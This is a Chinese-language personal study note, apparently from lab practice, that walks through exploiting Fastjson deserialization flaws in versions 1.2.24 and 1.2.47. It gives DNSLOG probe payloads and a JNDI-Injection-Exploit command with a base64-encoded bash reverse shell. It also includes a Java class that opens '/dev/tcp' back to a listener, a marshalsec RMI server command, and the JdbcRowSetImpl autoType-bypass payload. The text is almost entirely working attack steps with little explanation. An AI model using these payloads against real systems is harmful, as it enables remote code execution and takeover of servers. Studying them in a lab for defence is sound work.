首先可以用 { 测试一下看返回包有没有fastjson提示符,因为这个可以被删除所以就没试。
直接开始用DNSLOG测试看代码是否执行。具体代码如下
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":".dnslog.cn"}}
1.2.67版本后
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
因为我开的这个靶场试1.2.24版本所以用{"zeo":{"@type":"java.net.Inet4Address","val":".dnslog.cn"}}。可以看到代码是执行了的
然后再来学习一下RCE怎么打
原理不谈,用得到再百度,先记一下操作流程免得以后又忘
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx
echo后面写一个反弹shell的base64编码。反弹shell语句还有绕过还得百度,基础先用这句base64绕一下 bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvMTkyLjE2OC44NS4xMzAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.85.130
这里用85.130这台机器做监听机,同时还用他来启动恶意的rmi、ldap服务
这里工具支持的JDK版本是1.7、1.8 所以要注意java版本
下面就是启动了恶意服务和监听端口
现在攻击需要的基础环境已经有了就开始想靶场发起进攻
这样基础的反弹shell就可以了。
还有一个高一点版本的1.2.47的fastjson,也几个操作笔记
首先第一步构建一个友好的java类.这里面就一个反弹shell的地址和端口要改其他不变
import java.lang.Runtime;
import java.lang.Process;
public class first {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.85.130:9999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后javac编译一下,生成了一个first.class。为了清晰一点把这个class文件单独放到一个目录然后启动一个http服务
然后再使用工具开启rmi服务,中间的地址是刚启的http的地址,文件名前面要加个#。然后最后是指定rmi启动的端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.130/#first" 8888
还有要开启一个监听反弹shell的端口
万事具备了就开始来到靶场抓包,数据包注意POST传参、格式改成json,这里面的地址是rmi的地址
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.85.130:8888/first",
"autoCommit":true
}
}
发送数据包然后看到成功上线,就先学到这里下班